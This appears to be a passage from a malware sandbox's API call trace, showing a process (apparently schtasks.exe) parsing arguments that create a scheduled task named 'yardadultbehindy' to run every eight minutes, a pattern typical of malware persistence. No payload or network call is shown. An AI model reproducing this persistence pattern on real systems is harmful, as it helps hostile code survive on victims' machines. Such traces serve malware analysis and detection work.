(_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.256] lstrlenW (lpString="tn") returned 2 [0161.256] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.256] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|change|") returned 8 [0161.256] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.256] lstrlenW (lpString="|change|") returned 8 [0161.256] lstrlenW (lpString="|tn|") returned 4 [0161.256] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0161.256] SetLastError (dwErrCode=0x490) [0161.256] lstrlenW (lpString="run") returned 3 [0161.256] lstrlenW (lpString="run") returned 3 [0161.256] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.256] lstrlenW (lpString="tn") returned 2 [0161.256] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.256] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|run|") returned 5 [0161.256] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.257] lstrlenW (lpString="|run|") returned 5 [0161.257] lstrlenW (lpString="|tn|") returned 4 [0161.257] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0161.257] SetLastError (dwErrCode=0x490) [0161.257] lstrlenW (lpString="end") returned 3 [0161.257] lstrlenW (lpString="end") returned 3 [0161.257] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.257] lstrlenW (lpString="tn") returned 2 [0161.257] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.257] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|end|") returned 5 [0161.257] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.257] lstrlenW (lpString="|end|") returned 5 [0161.257] lstrlenW (lpString="|tn|") returned 4 [0161.257] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0161.257] SetLastError (dwErrCode=0x490) [0161.257] lstrlenW (lpString="showsid") returned 7 [0161.257] lstrlenW (lpString="showsid") returned 7 [0161.257] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.257] GetProcessHeap () returned 0x3f0000 [0161.257] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c270) returned 1 [0161.257] GetProcessHeap () returned 0x3f0000 [0161.257] RtlReAllocateHeap (Heap=0x3f0000, Flags=0xc, Ptr=0x40c270, Size=0x16) returned 0x40c270 [0161.257] lstrlenW (lpString="tn") returned 2 [0161.258] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.258] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|showsid|") returned 9 [0161.258] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tn|") returned 4 [0161.258] lstrlenW (lpString="|showsid|") returned 9 [0161.258] lstrlenW (lpString="|tn|") returned 4 [0161.258] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0161.258] SetLastError (dwErrCode=0x490) [0161.258] SetLastError (dwErrCode=0x490) [0161.258] SetLastError (dwErrCode=0x0) [0161.258] lstrlenW (lpString="/tn") returned 3 [0161.258] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0161.258] SetLastError (dwErrCode=0x490) [0161.258] SetLastError (dwErrCode=0x0) [0161.258] lstrlenW (lpString="/tn") returned 3 [0161.258] GetProcessHeap () returned 0x3f0000 [0161.258] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c210 [0161.258] GetProcessHeap () returned 0x3f0000 [0161.258] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cc20 [0161.258] SetLastError (dwErrCode=0x0) [0161.258] SetLastError (dwErrCode=0x0) [0161.258] lstrlenW (lpString="yardadultbehindy") returned 16 [0161.258] lstrlenW (lpString="-/") returned 2 [0161.258] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0161.258] SetLastError (dwErrCode=0x490) [0161.258] SetLastError (dwErrCode=0x490) [0161.258] SetLastError (dwErrCode=0x0) [0161.258] lstrlenW (lpString="yardadultbehindy") returned 16 [0161.258] StrChrIW (lpStart="yardadultbehindy", wMatch=0x3a) returned 0x0 [0161.258] SetLastError (dwErrCode=0x490) [0161.258] SetLastError (dwErrCode=0x0) [0161.259] lstrlenW (lpString="yardadultbehindy") returned 16 [0161.259] GetProcessHeap () returned 0x3f0000 [0161.259] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x22) returned 0x40cc50 [0161.259] GetProcessHeap () returned 0x3f0000 [0161.259] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cc80 [0161.259] SetLastError (dwErrCode=0x0) [0161.259] SetLastError (dwErrCode=0x0) [0161.259] lstrlenW (lpString="/sc") returned 3 [0161.259] lstrlenW (lpString="-/") returned 2 [0161.259] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.259] lstrlenW (lpString="?") returned 1 [0161.259] lstrlenW (lpString="?") returned 1 [0161.259] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.259] lstrlenW (lpString="sc") returned 2 [0161.259] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.259] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|?|") returned 3 [0161.259] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.259] lstrlenW (lpString="|?|") returned 3 [0161.259] lstrlenW (lpString="|sc|") returned 4 [0161.259] SetLastError (dwErrCode=0x490) [0161.259] lstrlenW (lpString="create") returned 6 [0161.259] lstrlenW (lpString="create") returned 6 [0161.259] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.259] lstrlenW (lpString="sc") returned 2 [0161.259] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.259] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.259] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.259] lstrlenW (lpString="|create|") returned 8 [0161.260] lstrlenW (lpString="|sc|") returned 4 [0161.260] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0161.260] SetLastError (dwErrCode=0x490) [0161.260] lstrlenW (lpString="delete") returned 6 [0161.260] lstrlenW (lpString="delete") returned 6 [0161.260] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.260] lstrlenW (lpString="sc") returned 2 [0161.260] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.260] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|delete|") returned 8 [0161.260] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.260] lstrlenW (lpString="|delete|") returned 8 [0161.260] lstrlenW (lpString="|sc|") returned 4 [0161.260] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0161.260] SetLastError (dwErrCode=0x490) [0161.260] lstrlenW (lpString="query") returned 5 [0161.260] lstrlenW (lpString="query") returned 5 [0161.260] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.260] lstrlenW (lpString="sc") returned 2 [0161.260] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.260] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|query|") returned 7 [0161.260] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.260] lstrlenW (lpString="|query|") returned 7 [0161.260] lstrlenW (lpString="|sc|") returned 4 [0161.260] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0161.260] SetLastError (dwErrCode=0x490) [0161.260] lstrlenW (lpString="change") returned 6 [0161.260] lstrlenW (lpString="change") returned 6 [0161.260] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.260] lstrlenW (lpString="sc") returned 2 [0161.260] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.261] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|change|") returned 8 [0161.261] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.261] lstrlenW (lpString="|change|") returned 8 [0161.261] lstrlenW (lpString="|sc|") returned 4 [0161.261] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0161.261] SetLastError (dwErrCode=0x490) [0161.261] lstrlenW (lpString="run") returned 3 [0161.261] lstrlenW (lpString="run") returned 3 [0161.261] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.261] lstrlenW (lpString="sc") returned 2 [0161.261] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.261] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|run|") returned 5 [0161.261] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.261] lstrlenW (lpString="|run|") returned 5 [0161.261] lstrlenW (lpString="|sc|") returned 4 [0161.261] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0161.261] SetLastError (dwErrCode=0x490) [0161.261] lstrlenW (lpString="end") returned 3 [0161.261] lstrlenW (lpString="end") returned 3 [0161.261] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.261] lstrlenW (lpString="sc") returned 2 [0161.261] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.261] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|end|") returned 5 [0161.261] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.261] lstrlenW (lpString="|end|") returned 5 [0161.261] lstrlenW (lpString="|sc|") returned 4 [0161.261] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0161.261] SetLastError (dwErrCode=0x490) [0161.261] lstrlenW (lpString="showsid") returned 7 [0161.261] lstrlenW (lpString="showsid") returned 7 [0161.261] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.261] lstrlenW (lpString="sc") returned 2 [0161.261] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.262] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|showsid|") returned 9 [0161.262] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|sc|") returned 4 [0161.262] lstrlenW (lpString="|showsid|") returned 9 [0161.262] lstrlenW (lpString="|sc|") returned 4 [0161.262] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0161.262] SetLastError (dwErrCode=0x490) [0161.262] SetLastError (dwErrCode=0x490) [0161.262] SetLastError (dwErrCode=0x0) [0161.262] lstrlenW (lpString="/sc") returned 3 [0161.262] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0161.262] SetLastError (dwErrCode=0x490) [0161.262] SetLastError (dwErrCode=0x0) [0161.262] lstrlenW (lpString="/sc") returned 3 [0161.262] GetProcessHeap () returned 0x3f0000 [0161.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c2a0 [0161.262] GetProcessHeap () returned 0x3f0000 [0161.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40ccb0 [0161.262] SetLastError (dwErrCode=0x0) [0161.262] SetLastError (dwErrCode=0x0) [0161.262] lstrlenW (lpString="MINUTE") returned 6 [0161.262] lstrlenW (lpString="-/") returned 2 [0161.262] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0161.262] SetLastError (dwErrCode=0x490) [0161.262] SetLastError (dwErrCode=0x490) [0161.262] SetLastError (dwErrCode=0x0) [0161.262] lstrlenW (lpString="MINUTE") returned 6 [0161.262] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0161.262] SetLastError (dwErrCode=0x490) [0161.262] SetLastError (dwErrCode=0x0) [0161.262] lstrlenW (lpString="MINUTE") returned 6 [0161.262] GetProcessHeap () returned 0x3f0000 [0161.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40c2c0 [0161.262] GetProcessHeap () returned 0x3f0000 [0161.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cce0 [0161.262] SetLastError (dwErrCode=0x0) [0161.262] SetLastError (dwErrCode=0x0) [0161.263] lstrlenW (lpString="/mo") returned 3 [0161.263] lstrlenW (lpString="-/") returned 2 [0161.263] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.263] lstrlenW (lpString="?") returned 1 [0161.263] lstrlenW (lpString="?") returned 1 [0161.263] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.263] lstrlenW (lpString="mo") returned 2 [0161.263] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.263] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|?|") returned 3 [0161.263] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.263] lstrlenW (lpString="|?|") returned 3 [0161.263] lstrlenW (lpString="|mo|") returned 4 [0161.263] SetLastError (dwErrCode=0x490) [0161.263] lstrlenW (lpString="create") returned 6 [0161.263] lstrlenW (lpString="create") returned 6 [0161.263] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.263] lstrlenW (lpString="mo") returned 2 [0161.263] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.263] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.263] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.263] lstrlenW (lpString="|create|") returned 8 [0161.263] lstrlenW (lpString="|mo|") returned 4 [0161.263] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0161.263] SetLastError (dwErrCode=0x490) [0161.263] lstrlenW (lpString="delete") returned 6 [0161.263] lstrlenW (lpString="delete") returned 6 [0161.263] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.263] lstrlenW (lpString="mo") returned 2 [0161.263] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.263] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|delete|") returned 8 [0161.263] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.264] lstrlenW (lpString="|delete|") returned 8 [0161.264] lstrlenW (lpString="|mo|") returned 4 [0161.264] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0161.264] SetLastError (dwErrCode=0x490) [0161.264] lstrlenW (lpString="query") returned 5 [0161.264] lstrlenW (lpString="query") returned 5 [0161.264] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.264] lstrlenW (lpString="mo") returned 2 [0161.264] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.264] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|query|") returned 7 [0161.264] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.264] lstrlenW (lpString="|query|") returned 7 [0161.264] lstrlenW (lpString="|mo|") returned 4 [0161.264] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0161.264] SetLastError (dwErrCode=0x490) [0161.264] lstrlenW (lpString="change") returned 6 [0161.264] lstrlenW (lpString="change") returned 6 [0161.264] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.264] lstrlenW (lpString="mo") returned 2 [0161.264] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.264] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|change|") returned 8 [0161.264] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.264] lstrlenW (lpString="|change|") returned 8 [0161.264] lstrlenW (lpString="|mo|") returned 4 [0161.264] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0161.264] SetLastError (dwErrCode=0x490) [0161.264] lstrlenW (lpString="run") returned 3 [0161.264] lstrlenW (lpString="run") returned 3 [0161.264] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.264] lstrlenW (lpString="mo") returned 2 [0161.264] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.264] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|run|") returned 5 [0161.265] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.265] lstrlenW (lpString="|run|") returned 5 [0161.265] lstrlenW (lpString="|mo|") returned 4 [0161.265] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0161.265] SetLastError (dwErrCode=0x490) [0161.265] lstrlenW (lpString="end") returned 3 [0161.265] lstrlenW (lpString="end") returned 3 [0161.265] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.265] lstrlenW (lpString="mo") returned 2 [0161.265] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.266] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|end|") returned 5 [0161.266] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.266] lstrlenW (lpString="|end|") returned 5 [0161.266] lstrlenW (lpString="|mo|") returned 4 [0161.266] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0161.266] SetLastError (dwErrCode=0x490) [0161.266] lstrlenW (lpString="showsid") returned 7 [0161.266] lstrlenW (lpString="showsid") returned 7 [0161.266] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.266] lstrlenW (lpString="mo") returned 2 [0161.266] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.266] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|showsid|") returned 9 [0161.266] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|mo|") returned 4 [0161.266] lstrlenW (lpString="|showsid|") returned 9 [0161.266] lstrlenW (lpString="|mo|") returned 4 [0161.266] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0161.266] SetLastError (dwErrCode=0x490) [0161.266] SetLastError (dwErrCode=0x490) [0161.266] SetLastError (dwErrCode=0x0) [0161.266] lstrlenW (lpString="/mo") returned 3 [0161.266] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0161.266] SetLastError (dwErrCode=0x490) [0161.266] SetLastError (dwErrCode=0x0) [0161.266] lstrlenW (lpString="/mo") returned 3 [0161.266] GetProcessHeap () returned 0x3f0000 [0161.266] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c2e0 [0161.266] GetProcessHeap () returned 0x3f0000 [0161.266] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd10 [0161.266] SetLastError (dwErrCode=0x0) [0161.266] SetLastError (dwErrCode=0x0) [0161.267] lstrlenW (lpString="8") returned 1 [0161.267] SetLastError (dwErrCode=0x490) [0161.267] SetLastError (dwErrCode=0x0) [0161.267] lstrlenW (lpString="8") returned 1 [0161.267] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0161.267] SetLastError (dwErrCode=0x490) [0161.267] SetLastError (dwErrCode=0x0) [0161.267] lstrlenW (lpString="8") returned 1 [0161.267] GetProcessHeap () returned 0x3f0000 [0161.267] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x4) returned 0x40c300 [0161.267] GetProcessHeap () returned 0x3f0000 [0161.267] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd40 [0161.267] SetLastError (dwErrCode=0x0) [0161.267] SetLastError (dwErrCode=0x0) [0161.267] lstrlenW (lpString="/tr") returned 3 [0161.267] lstrlenW (lpString="-/") returned 2 [0161.267] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.267] lstrlenW (lpString="?") returned 1 [0161.267] lstrlenW (lpString="?") returned 1 [0161.267] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.267] lstrlenW (lpString="tr") returned 2 [0161.267] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.267] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|?|") returned 3 [0161.267] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.267] lstrlenW (lpString="|?|") returned 3 [0161.267] lstrlenW (lpString="|tr|") returned 4 [0161.267] SetLastError (dwErrCode=0x490) [0161.267] lstrlenW (lpString="create") returned 6 [0161.267] lstrlenW (lpString="create") returned 6 [0161.267] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.267] lstrlenW (lpString="tr") returned 2 [0161.267] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.267] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.267] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.267] lstrlenW (lpString="|create|") returned 8 [0161.268] lstrlenW (lpString="|tr|") returned 4 [0161.268] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0161.268] SetLastError (dwErrCode=0x490) [0161.268] lstrlenW (lpString="delete") returned 6 [0161.268] lstrlenW (lpString="delete") returned 6 [0161.268] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.268] lstrlenW (lpString="tr") returned 2 [0161.268] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.268] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|delete|") returned 8 [0161.268] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.268] lstrlenW (lpString="|delete|") returned 8 [0161.268] lstrlenW (lpString="|tr|") returned 4 [0161.268] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0161.268] SetLastError (dwErrCode=0x490) [0161.268] lstrlenW (lpString="query") returned 5 [0161.268] lstrlenW (lpString="query") returned 5 [0161.268] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.268] lstrlenW (lpString="tr") returned 2 [0161.268] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.268] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|query|") returned 7 [0161.268] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.268] lstrlenW (lpString="|query|") returned 7 [0161.268] lstrlenW (lpString="|tr|") returned 4 [0161.268] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0161.268] SetLastError (dwErrCode=0x490) [0161.268] lstrlenW (lpString="change") returned 6 [0161.268] lstrlenW (lpString="change") returned 6 [0161.268] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.268] lstrlenW (lpString="tr") returned 2 [0161.268] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.268] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|change|") returned 8 [0161.268] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.268] lstrlenW (lpString="|change|") returned 8 [0161.269] lstrlenW (lpString="|tr|") returned 4 [0161.269] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0161.269] SetLastError (dwErrCode=0x490) [0161.269] lstrlenW (lpString="run") returned 3 [0161.269] lstrlenW (lpString="run") returned 3 [0161.269] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.269] lstrlenW (lpString="tr") returned 2 [0161.269] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.269] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|run|") returned 5 [0161.269] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.269] lstrlenW (lpString="|run|") returned 5 [0161.269] lstrlenW (lpString="|tr|") returned 4 [0161.269] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0161.269] SetLastError (dwErrCode=0x490) [0161.269] lstrlenW (lpString="end") returned 3 [0161.269] lstrlenW (lpString="end") returned 3 [0161.269] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.269] lstrlenW (lpString="tr") returned 2 [0161.269] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.269] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|end|") returned 5 [0161.269] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.269] lstrlenW (lpString="|end|") returned 5 [0161.269] 